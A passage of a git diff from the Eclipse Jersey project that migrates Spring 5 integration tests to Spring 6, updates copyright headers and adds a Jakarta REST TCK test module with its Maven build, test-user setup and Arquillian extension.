echo); - final String msg = t.path("message").request().get(String.class); - assertEquals(message, msg); - } -} diff --git a/tests/integration/spring5/src/test/java/org/glassfish/jersey/server/spring/test/TestUtil.java b/tests/integration/spring5/src/test/java/org/glassfish/jersey/server/spring/test/TestUtil.java deleted file mode 100644 index 8c837c8ac5a..00000000000 --- a/tests/integration/spring5/src/test/java/org/glassfish/jersey/server/spring/test/TestUtil.java +++ /dev/null @@ -1,52 +0,0 @@ -/* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.test; - -import jakarta.inject.Singleton; - -import org.glassfish.jersey.internal.inject.PerLookup; -import org.glassfish.jersey.process.internal.RequestScoped; -import org.glassfish.jersey.server.ResourceConfig; - -import org.glassfish.hk2.utilities.BuilderHelper; -import org.glassfish.hk2.utilities.binding.AbstractBinder; - -class TestUtil { - - public static ResourceConfig registerHK2Services(final ResourceConfig rc) { - rc - .register(new AbstractBinder() { - @Override - protected void configure() { - bind(BuilderHelper.link(HK2ServiceSingleton.class).in(Singleton.class).build()); - } - }) - .register(new AbstractBinder() { - @Override - protected void configure() { - bind(BuilderHelper.link(HK2ServiceRequestScoped.class).in(RequestScoped.class).build()); - } - }) - .register(new AbstractBinder() { - @Override - protected void configure() { - bind(BuilderHelper.link(HK2ServicePerLookup.class).in(PerLookup.class).build()); - } - }); - return rc; - } -} diff --git a/tests/integration/spring4/README.txt b/tests/integration/spring6/README.txt similarity index 100% rename from tests/integration/spring4/README.txt rename to tests/integration/spring6/README.txt diff --git a/tests/integration/spring5/pom.xml b/tests/integration/spring6/pom.xml similarity index 70% rename from tests/integration/spring5/pom.xml rename to tests/integration/spring6/pom.xml index 7a0712027f4..9c005c2918b 100644 --- a/tests/integration/spring5/pom.xml +++ b/tests/integration/spring6/pom.xml @@ -1,7 +1,7 @@ - - - **/**/*.java - - - org.eclipse.jetty - jetty-maven-plugin + org.eclipse.jetty.ee10 + jetty-ee10-maven-plugin / diff --git a/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/AccountJerseyResource.java b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/AccountJerseyResource.java similarity index 98% rename from tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/AccountJerseyResource.java rename to tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/AccountJerseyResource.java index bd10b503205..ab54e710672 100644 --- a/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/AccountJerseyResource.java +++ b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/AccountJerseyResource.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/AccountService.java b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/AccountService.java similarity index 94% rename from tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/AccountService.java rename to tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/AccountService.java index 70d90b05d53..2a764dcaa45 100644 --- a/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/AccountService.java +++ b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/AccountService.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/AccountServiceImpl.java b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/AccountServiceImpl.java similarity index 96% rename from tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/AccountServiceImpl.java rename to tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/AccountServiceImpl.java index b7fb876d154..58919af7343 100644 --- a/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/AccountServiceImpl.java +++ b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/AccountServiceImpl.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/AccountSpringResource.java b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/AccountSpringResource.java similarity index 98% rename from tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/AccountSpringResource.java rename to tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/AccountSpringResource.java index 0e5d2cfb85e..e6e8e437e48 100644 --- a/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/AccountSpringResource.java +++ b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/AccountSpringResource.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/ControllerResource.java b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/ControllerResource.java similarity index 95% rename from tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/ControllerResource.java rename to tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/ControllerResource.java index 39dd5aa41c4..8cf0a7e6a36 100644 --- a/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/ControllerResource.java +++ b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/ControllerResource.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/Endpoint.java b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/Endpoint.java similarity index 94% rename from tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/Endpoint.java rename to tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/Endpoint.java index da9f1707b72..53a9ef14e08 100644 --- a/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/Endpoint.java +++ b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/Endpoint.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/EndpointResource.java b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/EndpointResource.java similarity index 95% rename from tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/EndpointResource.java rename to tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/EndpointResource.java index d61ef3b4791..a1d8682e016 100644 --- a/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/EndpointResource.java +++ b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/EndpointResource.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServicePerLookup.java b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServicePerLookup.java similarity index 92% rename from tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServicePerLookup.java rename to tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServicePerLookup.java index ff689c6e4fd..0fb4f768a41 100644 --- a/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServicePerLookup.java +++ b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServicePerLookup.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServiceRequestScoped.java b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServiceRequestScoped.java similarity index 92% rename from tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServiceRequestScoped.java rename to tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServiceRequestScoped.java index 3bde89d2141..f55662ada90 100644 --- a/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServiceRequestScoped.java +++ b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServiceRequestScoped.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServiceSingleton.java b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServiceSingleton.java similarity index 92% rename from tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServiceSingleton.java rename to tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServiceSingleton.java index a7b8fa8837e..64ea0ba6d42 100644 --- a/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServiceSingleton.java +++ b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServiceSingleton.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/MyApplication.java b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/MyApplication.java similarity index 96% rename from tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/MyApplication.java rename to tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/MyApplication.java index b0f82c7d524..e0f0c99317d 100644 --- a/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/MyApplication.java +++ b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/MyApplication.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/RepositoryResource.java b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/RepositoryResource.java similarity index 95% rename from tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/RepositoryResource.java rename to tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/RepositoryResource.java index b815fe02f47..52a8b6444d7 100644 --- a/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/RepositoryResource.java +++ b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/RepositoryResource.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/ServiceResource.java b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/ServiceResource.java similarity index 95% rename from tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/ServiceResource.java rename to tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/ServiceResource.java index d50e5a6cc49..75cf5afc5e8 100644 --- a/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/ServiceResource.java +++ b/tests/integration/spring6/src/main/java/org/glassfish/jersey/server/spring/test/ServiceResource.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/tests/integration/spring5/src/main/resources/applicationContext.xml b/tests/integration/spring6/src/main/resources/applicationContext.xml similarity index 98% rename from tests/integration/spring5/src/main/resources/applicationContext.xml rename to tests/integration/spring6/src/main/resources/applicationContext.xml index c7e421eaa36..c36223ca482 100644 --- a/tests/integration/spring5/src/main/resources/applicationContext.xml +++ b/tests/integration/spring6/src/main/resources/applicationContext.xml @@ -1,7 +1,7 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tests/jersey-tck/README.md b/tests/jersey-tck/README.md new file mode 100644 index 00000000000..2457e01cbc2 --- /dev/null +++ b/tests/jersey-tck/README.md @@ -0,0 +1,15 @@ +# Jakarta REST TCK + +The **Jakarta REST TCK** is a standalone kit for testing compliance of an implementation with the Jakarta REST specification. + + +## Performing Test + +While the test kit *is not dependent* of Maven, the most easy way to perform the tests is to create a copy of the sample Maven project found in the `jersey-tck` folder and adjust it to the actual needs of the implementation to be actually tested: +* Replace the dependency to Jersey by a dependency to the implementation to be actually tested. +* Execute `mvn verify`. +* Find the test result as part of Maven's output on the console or refer to the surefire reports. + +**Note:** Certainly the same can be performed using *other* build tools, like Gradle, or even by running a standalone Jupiter API compatible test runner (e. g. JUnit 5 Console Runner), as long as the Jakarta REST TCK JAR file and the implementation to test are both found on the classpath. + +**Hint:** The test project can safely get stored as part of the implementation, so it can be easily executed as part of the QA process. diff --git a/tests/jersey-tck/j2ee.pass b/tests/jersey-tck/j2ee.pass new file mode 100644 index 00000000000..7cd0e34f04f --- /dev/null +++ b/tests/jersey-tck/j2ee.pass @@ -0,0 +1,16 @@ +# +# Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. +# +# This program and the accompanying materials are made available under the +# terms of the Eclipse Public License v. 2.0, which is available at +# http://www.eclipse.org/legal/epl-2.0. +# +# This Source Code may also be made available under the following Secondary +# Licenses when the conditions for such availability set forth in the +# Eclipse Public License v. 2.0 are satisfied: GNU General Public License, +# version 2 with the GNU Classpath Exception, which is available at +# https://www.gnu.org/software/classpath/license.html. +# +# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 +# +AS_ADMIN_USERPASSWORD=j2ee \ No newline at end of file diff --git a/tests/jersey-tck/javajoe.pass b/tests/jersey-tck/javajoe.pass new file mode 100644 index 00000000000..f06be725d70 --- /dev/null +++ b/tests/jersey-tck/javajoe.pass @@ -0,0 +1,16 @@ +# +# Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. +# +# This program and the accompanying materials are made available under the +# terms of the Eclipse Public License v. 2.0, which is available at +# http://www.eclipse.org/legal/epl-2.0. +# +# This Source Code may also be made available under the following Secondary +# Licenses when the conditions for such availability set forth in the +# Eclipse Public License v. 2.0 are satisfied: GNU General Public License, +# version 2 with the GNU Classpath Exception, which is available at +# https://www.gnu.org/software/classpath/license.html. +# +# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 +# +AS_ADMIN_USERPASSWORD=javajoe \ No newline at end of file diff --git a/tests/jersey-tck/pom.xml b/tests/jersey-tck/pom.xml new file mode 100644 index 00000000000..0cd9ffd2c2d --- /dev/null +++ b/tests/jersey-tck/pom.xml @@ -0,0 +1,545 @@ + + + + 4.0.0 + + org.glassfish.jersey.core + jersey-tck + 3.1.0 + jar + + Jakarta RESTful WS Compliance for Jersey + This test verifies the compliance of Eclipse Jersey with Jakarta REST + + + 11 + 11 + 3.1.2 + 7.0.4 + ${project.build.directory}/glassfish7 + 10.0.0 + 5.7.2 + 3.1.0 + jakarta-restful-ws-tck + 3.1.3 + + + + + + org.junit + junit-bom + ${junit.jupiter.version} + pom + import + + + org.glassfish.jersey + jersey-bom + ${jersey.version} + pom + import + + + + + + + jakarta-snapshots + https://jakarta.oss.sonatype.org/content/repositories/staging/ + + + + + + org.junit.jupiter + junit-jupiter + ${junit.jupiter.version} + + + + org.glassfish.hk2 + hk2-locator + 3.0.0 + + + + com.sun.xml.bind + jaxb-impl + 3.0.0 + runtime + + + + org.jboss.arquillian.container + arquillian-glassfish-managed-6 + 1.0.0.Alpha1 + + + + jakarta.ws.rs + ${tck.artifactId} + ${tck.version} + test + + + + jakarta.ws.rs + jakarta.ws.rs-api + ${project.version} + test + + + + org.hamcrest + hamcrest + 2.2 + test + + + + org.glassfish.main.common + simple-glassfish-api + ${glassfish.container.version} + + + + org.jboss.arquillian.junit5 + arquillian-junit5-container + 1.7.0.Alpha10 + + + + jakarta.platform + jakarta.jakartaee-api + ${jakarta.platform.version} + provided + + + + commons-httpclient + commons-httpclient + 3.1 + + + + org.glassfish.jersey.core + jersey-server + ${jersey.version} + test + + + org.glassfish.jersey.containers + jersey-container-grizzly2-http + ${jersey.version} + test + + + org.netbeans.tools + sigtest-maven-plugin + 1.4 + + + org.glassfish.jersey.media + jersey-media-json-binding + ${jersey.version} + test + + + org.glassfish.jersey.media + jersey-media-jaxb + ${jersey.version} + test + + + org.glassfish.jersey.media + jersey-media-sse + ${jersey.version} + test + + + + + + + + + org.apache.maven.plugins + maven-dependency-plugin + 3.2.0 + + + unpack + pre-integration-test + + unpack + + + + + org.glassfish.main.distributions + glassfish + ${glassfish.container.version} + zip + false + ${project.build.directory} + + + + + + copy + pre-integration-test + + copy + + + + + org.glassfish.jersey.core + jersey-client + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-client.jar + + + org.glassfish.jersey.core + jersey-server + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-server.jar + + + org.glassfish.jersey.core + jersey-common + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-common.jar + + + org.glassfish.jersey.containers + jersey-container-grizzly2-http + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-container-grizzly2-http.jar + + + org.glassfish.jersey.containers + jersey-container-servlet-core + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-container-servlet-core.jar + + + org.glassfish.jersey.containers + jersey-container-servlet + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-container-servlet.jar + + + org.glassfish.jersey.media + jersey-media-sse + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-media-sse.jar + + + org.glassfish.jersey.media + jersey-media-json-binding + ${jersey.version} + jar + true + ${glassfish.home}/glassfish/modules + jersey-media-json-binding.jar + + + jakarta.ws.rs + jakarta.ws.rs-api + ${jakarta.rest.version} + jar + true + ${glassfish.home}/glassfish/modules + jakarta.ws.rs-api.jar + + + + + + + + exec-maven-plugin + org.codehaus.mojo + + + StopDomain1 + pre-integration-test + + exec + + + ${asadmin.home} + ${asadmin} + + stop-domain + + + + + StartDomain1 + pre-integration-test + + exec + + + ${asadmin.home} + ${asadmin} + + start-domain + + + + + Enable Trace requests + pre-integration-test + + exec + + + ${asadmin.home} + ${asadmin} + + set + server-config.network-config.protocols.protocol.http-listener-1.http.trace-enabled=true + + + + + Delete User j2ee + pre-integration-test + + exec + + + ${asadmin.home} + ${asadmin} + + --passwordfile + ${project.basedir}/j2ee.pass + delete-file-user + j2ee + + + 0 + 1 + + + + + Add User j2ee + pre-integration-test + + exec + + + ${asadmin.home} + ${asadmin} + + --passwordfile + ${project.basedir}/j2ee.pass + create-file-user + --groups + staff:mgr + j2ee + + + + + Delete User javajoe + pre-integration-test + + exec + + + ${asadmin.home} + ${asadmin} + + --passwordfile + ${project.basedir}/javajoe.pass + delete-file-user + javajoe + + + 0 + 1 + + + + + Add User javajoe + pre-integration-test + + exec + + + ${asadmin.home} + ${asadmin} + + --passwordfile + ${project.basedir}/javajoe.pass + create-file-user + --groups + guest + javajoe + + + + + list users + pre-integration-test + + exec + + + ${asadmin.home} + ${asadmin} + + list-file-users + + + + + StopDomain + pre-integration-test + + exec + + + ${asadmin.home} + ${asadmin} + + stop-domain + + + + + + + + maven-failsafe-plugin + 3.0.0-M5 + + + gf-tests + + integration-test + verify + + + + **/SeBootstrapIT.java + + false + jakarta.ws.rs:${tck.artifactId} + + ${glassfish.home} + org.glassfish.jersey.servlet.ServletContainer + localhost + 8080 + true + j2ee + j2ee + javajoe + javajoe + ee.jakarta.tck.ws.rs.lib.implementation.sun.common.SunRIURL + ${project.build.directory}/jdk11-bundle + jakarta.xml.bind + ${glassfish.home}/glassfish/modules/jakarta.ws.rs-api.jar:${glassfish.home}/glassfish/modules/jakarta.xml.bind-api.jar:${project.build.directory}/jdk11-bundle/java.base:${project.build.directory}/jdk11-bundle/java.rmi:${project.build.directory}/jdk11-bundle/java.sql:${project.build.directory}/jdk11-bundle/java.naming + + + ${glassfish.home} + + + + + se-tests + + integration-test + verify + + + false + + **/SeBootstrapIT.java + + jakarta.ws.rs:${tck.artifactId} + + + + + + + + + onLinux + + + unix + + + + ${basedir} + ${glassfish.home}/glassfish/bin/asadmin + + + + onWindows + + + Windows + + + + ${glassfish.home}/glassfish/bin + asadmin + + + + jersey-tck + + 3.1.99-SNAPSHOT + + + + diff --git a/tests/jersey-tck/src/main/java/org/glassfish/jersey/core/tck/JerseyApplicationArchiveProcessor.java b/tests/jersey-tck/src/main/java/org/glassfish/jersey/core/tck/JerseyApplicationArchiveProcessor.java new file mode 100644 index 00000000000..c5597e5da83 --- /dev/null +++ b/tests/jersey-tck/src/main/java/org/glassfish/jersey/core/tck/JerseyApplicationArchiveProcessor.java @@ -0,0 +1,35 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.core.tck; + +import org.jboss.arquillian.container.test.spi.client.deployment.ApplicationArchiveProcessor; +import org.jboss.arquillian.test.spi.TestClass; +import org.jboss.shrinkwrap.api.Archive; +import org.jboss.shrinkwrap.api.spec.WebArchive; + +public class JerseyApplicationArchiveProcessor implements ApplicationArchiveProcessor { + @Override + public void process(Archive archive, TestClass testClass) { + if ("jaxrs_ee_rs_container_requestcontext_security_web.war".equals(archive.getName())) { + WebArchive webArchive = (WebArchive) archive; + webArchive.addAsWebInfResource("jaxrs_ee_rs_container_requestcontext_security_web.war.sun-web.xml", "sun-web.xml"); + } else if ("jaxrs_ee_core_securitycontext_basic_web.war".equals(archive.getName())) { + WebArchive webArchive = (WebArchive) archive; + webArchive.addAsWebInfResource("jaxrs_ee_core_securitycontext_basic_web.war.sun-web.xml", "sun-web.xml"); + } + } +} diff --git a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/profiles/DevTestService.java b/tests/jersey-tck/src/main/java/org/glassfish/jersey/core/tck/JerseyLoadableExtension.java similarity index 56% rename from ext/spring4/src/test/java/org/glassfish/jersey/server/spring/profiles/DevTestService.java rename to tests/jersey-tck/src/main/java/org/glassfish/jersey/core/tck/JerseyLoadableExtension.java index dc3c99543e1..d4da355f257 100644 --- a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/profiles/DevTestService.java +++ b/tests/jersey-tck/src/main/java/org/glassfish/jersey/core/tck/JerseyLoadableExtension.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -14,19 +14,14 @@ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 */ -package org.glassfish.jersey.server.spring.profiles; +package org.glassfish.jersey.core.tck; -import org.springframework.context.annotation.Primary; -import org.springframework.context.annotation.Profile; -import org.springframework.stereotype.Component; - -@Component -@Primary -@Profile("dev") -public class DevTestService implements TestService { +import org.jboss.arquillian.container.test.spi.client.deployment.ApplicationArchiveProcessor; +import org.jboss.arquillian.core.spi.LoadableExtension; +public class JerseyLoadableExtension implements LoadableExtension { @Override - public String test() { - return "dev"; + public void register(ExtensionBuilder extensionBuilder) { + extensionBuilder.service(ApplicationArchiveProcessor.class, JerseyApplicationArchiveProcessor.class); } } diff --git a/tests/jersey-tck/src/main/resources/META-INF/services/org.jboss.arquillian.core.spi.LoadableExtension b/tests/jersey-tck/src/main/resources/META-INF/services/org.jboss.arquillian.core.spi.LoadableExtension new file mode 100644 index 00000000000..577c00f53ef --- /dev/null +++ b/tests/jersey-tck/src/main/resources/META-INF/services/org.jboss.arquillian.core.spi.LoadableExtension @@ -0,0 +1 @@ +org.glassfish.jersey.core.tck.JerseyLoadableExtension \ No newline at end of file diff --git a/tests/jersey-tck/src/main/resources/jaxrs_ee_core_securitycontext_basic_web.war.sun-web.xml b/tests/jersey-tck/src/main/resources/jaxrs_ee_core_securitycontext_basic_web.war.sun-web.xml new file mode 100644 index 00000000000..8e2a2519e4d --- /dev/null +++ b/tests/jersey-tck/src/main/resources/jaxrs_ee_core_securitycontext_basic_web.war.sun-web.xml @@ -0,0 +1,31 @@ + + + + + + jaxrs_ee_core_securitycontext_basic_web + + DIRECTOR + j2ee + + + OTHERROLE + javajoe + + diff --git a/tests/jersey-tck/src/main/resources/jaxrs_ee_rs_container_requestcontext_security_web.war.sun-web.xml b/tests/jersey-tck/src/main/resources/jaxrs_ee_rs_container_requestcontext_security_web.war.sun-web.xml new file mode 100644 index 00000000000..a5efdc5a21e --- /dev/null +++ b/tests/jersey-tck/src/main/resources/jaxrs_ee_rs_container_requestcontext_security_web.war.sun-web.xml @@ -0,0 +1,27 @@ + + + + + + jaxrs_ee_rs_container_requestcontext_security_web + + DIRECTOR + j2ee + + diff --git a/tests/jmockit/pom.xml b/tests/jmockit/pom.xml index 593dc8c6a65..7088123b29b 100644 --- a/tests/jmockit/pom.xml +++ b/tests/jmockit/pom.xml @@ -1,7 +1,7 @@ test junit junit + ${junit4.version} test org.hamcrest - hamcrest-library + hamcrest test @@ -86,6 +88,13 @@ ${skip.tests} + + + org.apache.maven.surefire + surefire-junit47 + ${surefire.mvn.plugin.version} + + diff --git a/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/media/multipart/internal/FormDataMultiPartReaderWriterTest.java b/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/media/multipart/internal/FormDataMultiPartReaderWriterTest.java index 0de72ac009a..a2665e00dbe 100644 --- a/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/media/multipart/internal/FormDataMultiPartReaderWriterTest.java +++ b/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/media/multipart/internal/FormDataMultiPartReaderWriterTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/ResourceConfigTest.java b/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/ResourceConfigTest.java index 046ee3d1eec..d6305f93fc4 100644 --- a/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/ResourceConfigTest.java +++ b/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/ResourceConfigTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and 